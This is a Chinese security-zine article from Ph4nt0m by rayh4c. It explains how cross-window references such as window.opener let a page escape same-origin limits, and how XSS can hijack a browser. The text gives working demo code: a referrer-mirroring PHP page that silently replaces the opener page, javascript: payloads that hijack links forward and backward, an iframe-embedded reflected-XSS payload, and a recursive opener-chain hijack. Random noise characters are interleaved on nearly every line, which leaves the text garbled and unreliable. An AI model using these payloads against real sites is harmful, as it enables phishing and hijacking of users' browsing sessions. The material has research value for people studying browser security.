==Ph4nt0m Security Team==
7 I1 Y0 I3 |$ B : e4 \) c! K5 J( U" a0 V
Issue 0x03, Phile #0x05 of 0x07% V/ G+ H! _' W6 {7 J3 W
# s4 P1 L5 o g
" V. x; M' A, r( \4 @|=---------------------------------------------------------------------------=|
2 s) g4 S1 M9 U/ I|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
2 F L7 @2 F4 \5 }* z- R|=---------------------------------------------------------------------------=|
7 `' ?) }( _0 {|=---------------------------------------------------------------------------=|
, J4 h* U" Y! u$ r3 P( ]' @0 d|=------------------------=[ By rayh4c ]=---------------------------=|
: W" a1 [; T+ s0 d5 [. R|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
5 f, }( r7 {5 j! x8 \2 ^|=---------------------------------------------------------------------------=|
: p& C) g& y7 |8 P7 @. g0 X! Q0 ~3 K+ |3 N# ~7 |
; D: x; ? k* U" L
[目录]7 a# _" e7 `9 j& }7 W1 X
+ _, c7 m$ O8 e0 I
1. 前言
7 `8 z" p, I8 n# W# \- m) H9 w2. 同源策略简叙. H1 c! X+ G: f4 I
3. 理解window对象的同源策略0 n) `4 A2 V1 o6 `! P4 [
4. 窗口引用功能中的同源策略漏洞8 d4 `4 q1 H9 ]4 y1 z& @0 }
4.1 父窗口引用子窗口的同源策略问题5 E8 u- p6 T5 j v* v* ^7 y
4.2 子窗口引用父窗口的同源策略问题
( }8 ?9 z0 S- ?. b) e% `& R3 Q5. 利用窗口引用漏洞劫持浏览器
1 g* ?; y- ~, e0 j U4 L) E6. 利用XSS漏洞劫持浏览器3 k2 B& G" @, S& W/ G( l
6.1 正向跨窗口劫持
9 E. X( n3 q5 l, Q4 z) `9 ] 6.2 反向跨窗口劫持
% J0 n; t n) c* f/ P6 a 6.3 极度危险的跨框架窗口引用劫持0 I, ~/ t: Q9 Y/ P& e5 f/ R
6.4 极度危险的正反向跨窗口递归劫持) E0 a7 g" l. l; [7 k; W4 Y
6.5 完全控制浏览器, G9 n, V8 V s6 F/ O
7. 后记$ E: g/ j7 h/ f- ?+ e% s
8. 参考0 X9 R) T$ O4 t5 q2 l- t
3 d* P; E; N* b' _
3 `( J8 ?+ h$ T$ G( ?
一、前言9 V6 \: v0 B$ ]) y1 V5 ~# u% }% v
8 Q' M6 {/ k: X' f: S 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋) _; C+ { P$ S) X, E: x
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session0 I4 [4 s9 t' j- N
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被9 f: Y) @9 T& Q9 J- w4 s
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。5 C, m) i8 |6 I X' ]- G2 Y6 l) g
^/ l( I8 P% f1 o" x9 q: I, n
% V- k& y% F4 O+ V9 T二、同源策略简叙
3 z( {1 \. u: P- ^: n0 t6 j2 F/ k
. k: X/ B1 d: ]6 n" t# w+ y" b 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
7 P) {4 c' b. w; n/ s从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
U' a- y/ [4 m1 S) N$ F. x; B曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木' K* l/ d+ i% Y% Q! q
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
- T8 _: K' C$ V漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。2 D2 O0 m2 z6 V1 c4 _% _8 O
w+ K- |' O8 G. k+ p# B- ]% ?8 Y. X8 }6 P) z$ @
三、理解window对象的同源策略
. h: J0 |$ z" [- z: k- j- O# `' _1 u M$ v/ \- M$ J
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
7 ]3 a* i* U) D- m象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
( b& K$ A$ L5 V e( k/ C" h. Q9 d8 d- h* }8 `
--code-------------------------------------------------------------------------* M5 s. L' C/ C5 V
<script language="javascript">( c+ j. K# c; d& l2 A
for(p in window) document.write(p+"<br>");
; D: H: I9 z; _: c" k( a1 a</script>& R" p- _; C" [6 l2 z- P
------------------------------------------------------------------------------- X( l1 p) f s+ J
. I2 l% m7 q! v# O$ i3 L, Y 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
$ D6 O5 p: ^. O8 u! G, T法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,* l: j# |3 M3 h, h* U
这些属性和方法就必须遵循同源策略。
# W& C- e* s f; T, ?" i0 K9 s, m) J0 w% G# t
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那8 l' z2 k2 ]3 V
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须. Q7 N4 y8 H8 a6 t# o
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这0 }8 K5 B, |6 {" C
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
# h6 L& T; M6 {4 X( A值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
& {9 F6 J* X/ o$ t! v# Y属性并没有被拒绝访问。7 [8 ~$ u; ^7 B8 [% J- F
C# G6 j5 l2 u' I/ p9 t$ V% d--demo.html--------------------------------------------------------------------8 D: M3 E& y' z0 {' ]+ e
<script language="javascript"> : D B' v5 E I5 i& W( |/ {1 G
function allPrpos(obj) { + r; t8 i4 g' K, y8 z2 C
var props = "<table><tr><td>名称</td><td>值</td>";
& ~. g0 ^, W9 s for(var p in obj){
1 c+ L" ~+ G3 w. @ if(typeof(obj[p])=="function"){ , W! i6 B% C4 O* K( [/ w
obj[p]();
" n" J$ y; l5 A& ^2 E }else{
. q/ Y2 S4 }2 ?5 d: x$ X$ j# N6 b try
+ _4 {' M( G [" v: D- c% ~ { 7 m0 z# y; R8 L0 V; ]
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; 3 B6 G: W& @4 C( P s- d
} $ a' K# J2 u/ t
catch (ex)
) N) J+ a( V; G1 O/ c {
; ^9 \5 ?9 u& N' k {4 ~/ h- ?% V' S
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; 0 t: ^- @( n6 o" b0 p4 f7 `3 N' D
} 3 q0 p( ~5 ~9 v1 k, G, v
0 y1 w" h( n4 n1 |2 x1 W2 D } $ n# c* r, R) @- h) U" C: r; R* c( J
}
& ?! R$ h1 n( I6 D$ h- ~, r' t, B 0 b. R8 Z7 \( i, K4 ?. b4 j( V
document.write(props+"</table>");
/ m' k: y T6 k3 ^# t3 e5 p}
7 D' z) Z9 H1 ^$ C7 e/ B
- L8 D+ {1 z" v5 rfunction createWin() {
" V6 }1 S( S% P* ~6 B6 l1 Y8 L- e newWin = window.open ("http://www.google.com"); $ M5 Y9 B6 Q; r
setTimeout(function(){allPrpos(newWin)},2000);
+ U1 d! q7 B) c8 E* L} " L: S% S$ S( D! q4 V
2 l8 l S4 o) E. l4 M, u9 q! |</script>
0 m6 d- x+ `; {9 D- A( O/ t7 f4 J1 x! ]7 h: m
<button onclick='createWin()'>创建一个非同源子窗口测试</button>" x" ?7 x4 K( W
-------------------------------------------------------------------------------
+ F! B2 v& g( O7 m) o8 s- a% C, P8 Z" c5 {) G
3 @9 }. ]) h' R四、窗口引用功能中的同源策略漏洞
% F( Y2 w) Q$ x
2 D: E& `4 V3 C$ a& ]$ T0 Q) @4.1 父窗口引用子窗口的同源策略问题
& H/ v, Q5 {; }% `0 ^* h+ q C2 S
# @% k) s( |3 l7 s ~ 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,# n+ F3 ]( c/ |+ v
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道% z4 _6 n: t. R8 g1 d
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
* b. ~. K! Q$ w4 m8 g+ K行测试,会发现父窗口可以控制非同源子窗口location属性值。8 n: [+ e; k. E# @, n E$ }: `% c& e
7 j: q( V) k9 {9 x3 g--vul1.html--------------------------------------------------------------------
9 Q; A( h$ G$ c% H# ]! p( ~<script language="javascript">
% O# [) Q6 Z8 ]. C3 y8 sfunction createWin() { " U+ p }! f7 p- i
newWin = window.open ("http://www.google.com"); + P0 p3 O2 P- t7 k: c* c
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
6 z: s8 T$ E! ^1 v* y9 @} 1 T$ a! `7 v3 ]4 T4 a/ B
</script>7 w f: W8 _" k
% k9 W* T; h: S8 }& ]+ G8 C<button onclick='createWin()'>创建一个非同源子窗口测试</button>
7 s8 p5 c6 Z2 p9 B7 I; h-------------------------------------------------------------------------------
$ W, y! f- q+ ~8 n% p
. x3 k8 c0 p% l8 @- A" ]
2 [0 a7 G! k; w4.2 子窗口引用父窗口的同源策略问题7 ?4 ], ]" U8 e, G3 [
4 k) N5 z9 i' d6 @8 B
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
/ [/ b( ^8 F" |# [8 S$ h用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们8 w) U5 h# C3 h* Y5 s0 s3 m9 b
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定0 p( S m+ r. }* D
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
8 V7 A. y3 ^& H5 ?/ f/ Y5 Q* q3 u. D
--code-------------------------------------------------------------------------
" H. \# ?) S$ X" `) G( m: G/ l0 r+ J5 ^3 g! J; W) J- Q
javascript:window.opener.location = "http://www.80sec.com";void(0);
: z6 r' l! B2 F% n0 {5 n) e. Z3 m7 `" Y
-------------------------------------------------------------------------------' K1 G z0 x8 _$ ]
* H# t- F; |* o- h$ I- n+ C
0 `! z6 i/ c) `% V' N7 ?. w五、利用窗口引用漏洞劫持浏览器
: M( k, r( e; \. s4 m9 U2 d" |3 q; c9 d& w: E6 i r+ }. x
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
7 n! q+ T* z5 f7 @ C窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那$ M% Y+ }' a' P7 B4 h' g9 s ?
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。- s1 K9 D, w2 o8 s4 j( V0 w9 v
: D8 R7 C1 @' c7 d5 B8 J& o 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
1 ?2 m. b9 d+ A( f& g# p h% K生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或& ?9 e/ {6 c3 C* H: ^2 ?
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
8 i ^3 A% z0 W V2 K$ Q后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下4 l8 u- T5 q# {1 O
会产生什么可怕的后果。# [) J8 I9 C) ]
8 u( E$ I' ^+ e; [( \
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我7 [6 A' p8 b" @
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php# E& E8 t! u: W
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
" |, M; |* a; X% h- B候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可 d4 D- e) b# k z. } r
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
* Q2 h; {3 j+ H2 o3 e; U5 V& L- V3 U, i
--hjk_ref.php------------------------------------------------------------------
* c+ S) t7 u1 ?! D<?php
2 s9 K: s4 x4 H! Y" Iif (array_key_exists("HTTP_REFERER", $_SERVER)) {
% d$ F# k4 w& x( j3 B V$Url_Mirror = $_SERVER["HTTP_REFERER"];
! L8 u, W- m) {& U% h+ r, O4 m6 F}
7 }, C- y+ a5 v$ m7 [8 `if(isset ($_GET['ref'])) {
8 x# s( T% z1 J% w1 `0 Becho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
) }% d7 s i7 Q/ U+ J}+ P& f1 `$ m9 B7 {. S" R0 g3 s g
?>
5 n; E# |" `! [* O6 I
! @4 W3 n; P! @* e" L% v, H<script language="javascript">
' Z; \& L. w5 Y6 MsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
& }! }* n6 e2 B2 f8 I6 T</script>
' V( E0 f5 M+ ^+ p" g- T: R-------------------------------------------------------------------------------! [2 p: T1 O" l2 i3 A( w7 s+ R
" _4 \* K3 w- W7 X: h 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。% g- c$ h7 U1 c+ R4 n! r9 F
' e+ F8 @4 G% k2 {' ~1 v X1 F
0 ^, r7 k/ n A) `; H六、利用XSS漏洞劫持浏览器+ v: ? A9 _. h+ \6 d- w9 ~
8 t$ K: K: Y/ L
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
; J! F. J; E9 g) ~5 {0 `! J9 V9 l9 h持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后% r5 J1 i4 n6 j% Q3 Y4 O5 h( E4 g
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起+ K- B' h1 C9 D. i5 Q2 S7 f
讨论跨站师的终极技巧:
: L+ p9 L8 J, i# ?
9 x/ K7 O0 t4 _
3 S, x5 B) D2 h) h/ `5 D4 P6.1 正向跨窗口劫持
* U- [# `2 V6 a7 ^6 k/ F3 u: ~+ k7 n3 ^& W; q" Z: V
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛0 P0 Q/ }- o" ^3 O- ?" G X
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
1 X, K m5 v0 S6 j' O( h0 _1 H接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
1 z8 n9 _' g6 }框脚本。 & S3 y, X" u! \
2 m4 p* n2 m1 c
--hijack_open.js---------------------------------------------------------------# G$ {3 i7 x8 Z- w: C0 Q# C3 O
/ p+ W1 m3 g# d' u
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);, K1 x2 T. u3 k }- V8 N/ h7 g, M
5 t8 _2 m# k. ~ Z" K% q$ k
-------------------------------------------------------------------------------( ^ V/ B) u. Z3 K6 R; e
8 B% l2 R8 O+ c
! N% K$ S, t2 | e3 Y* _
6.2 反向跨窗口劫持 p4 M" _% R8 F/ O( X& }$ y4 U
1 B0 ?. P) `; w0 p) f
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代4 u; M8 P5 ^- V0 e0 y# r2 b/ o6 V
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
" [2 x n7 L8 `- K框脚本。$ C* @; h; ^5 @" l
! L D; @7 L. ~7 P- p8 t$ P4 Q* ?--hijack_opener.js-------------------------------------------------------------1 V* n. J1 D; e5 T7 T
9 {# \) x0 j; J- t3 `! S
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
# c! J3 G# N* k; u, `" q4 g5 K* z9 V! w! e7 W8 B5 U" L- X$ W8 {( ^
-------------------------------------------------------------------------------
2 s! D$ U# h$ g/ j
! e$ |! b! z7 s6 S( E1 G- c
* e$ E+ U5 m" K0 [1 c6.3 极度危险的跨框架窗口引用劫持
' q1 V) L9 h8 y% x9 P
- [5 X8 t* D: Z& l2 u, l 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞; G& U0 A( E F
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就6 h3 g2 Y2 n4 ]! C
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
% {( e0 P0 L9 a( |7 [7 ]$ L非持久型的XSS,如下:
1 P/ C, P, T" K* a7 H( k% l) V& T8 v6 F+ x2 k
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
" m. Z' O+ z/ n
! Q( c0 @% L4 _9 F 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口! }/ N" Q! m1 _2 O
注入脚本。+ n# n! @; [$ t1 u# f4 m
: o' t& |. {9 r
--hijack_frame_opener.js-------------------------------------------------------
7 _" x+ O& ~: C/ z9 K<script>0 X! V; e" I) e
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
$ J! m. N. W5 t4 [7 W i</script>" Y6 G* j/ A9 v8 O
-------------------------------------------------------------------------------
$ ?' j- ?4 @& \' _/ w3 j' ]. ~$ f* |# n/ H3 _
) F' ]5 H: Y3 ~6.4 极度危险的正反向跨窗口递归劫持8 ^1 W* P1 U6 Z6 G6 v5 W
0 a2 A& F( Y) p3 _- V1 X, T% H! y luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
; k d5 L4 G2 M6 e) \7 B的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过+ |" K$ ~6 d7 T
异常处理规避之间跨域页面的访问异常,代码如下:
0 r8 D9 ]7 C1 ^, a6 |0 L) y
$ S3 v5 k7 x( B: _--code-------------------------------------------------------------------------: q! w7 W4 k( y1 Q( G
J/ e4 m$ C. y% d! S
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);4 M1 F; W* @0 h: Y
& T% H& T V* f( F, ^ \- o-------------------------------------------------------------------------------
7 [, X4 U; |. ~2 i) l7 X
+ G5 }. J: @# r* a. n6 D* [ 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可. A* x! m. z* [1 ?9 [
以劫持B域之前的A域页面,从而实现“隔空打击”。
8 X# H7 F( q: d8 @5 G* J. F
( u7 r9 b9 t' P$ T 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
" [7 O- P; f7 W# A执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
2 }- g7 Y' Q4 t/ {+ ?$ z! D' n9 B- R+ X% [( u' p
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
* [" Y7 o1 U6 Y2 C! U' A5 _/ v2 x/ B3 L
; c) ?4 a0 l. h0 Z0 T' T
6.5 完全控制浏览器: C: f5 Z3 u/ c
7 u( |6 R _; ~3 g" a' F9 r
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
4 Q& i# ?3 T$ \5 O4 P是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS, E" x7 j# U* K" e: X
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失' r( c9 Z: S. L/ Q( @
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再7 h v6 _, R! f# d
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站2 f) e8 N5 X6 J6 T s
师的终极目标 - 完全控制浏览器。, d; Y5 F) N1 c
* z9 _" S9 P4 U1 [$ V/ H- X* _4 M$ I: R/ I# b2 u# A' D6 G
七、后记
# a# U3 R# m3 X* l( {% T4 h5 d- A+ T" f( u
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
0 T3 i5 |% T) {$ Q& E% K与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
4 ?( M+ s1 P" G# ~* k" ?过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。0 y& e& l! L, T7 z# P
+ k3 s0 s7 f' K( _
$ B/ M( t9 E" k. q9 R5 Z
八、参考1 L5 k& j0 A3 ^
l+ b7 q( b. a$ [1. http://en.wikipedia.org/wiki/Same_origin_policy
5 W; m) ~8 j, Y, v2. http://code.google.com/p/browser ... licy_for_DOM_access
7 {0 [: P4 v0 I! V- c* b0 z3. http://www.w3.org/TR/Window/
+ h. A+ j1 w6 X3 J4. http://www.80sec.com/release/browser-hijacking.txt: d& ~' Z: G/ O+ R, c' v: r6 }
5. http://www.80sec.com/all-browser-security-alert.html7 e$ }+ ?+ e" M7 J0 V3 P2 Q
6. http://www.80sec.com/ms08-058-attacks-google.html
, v1 ]! v7 N8 h# l/ Q: \) \/ z; e% v; f. U% p8 m( j/ a
-EOF- |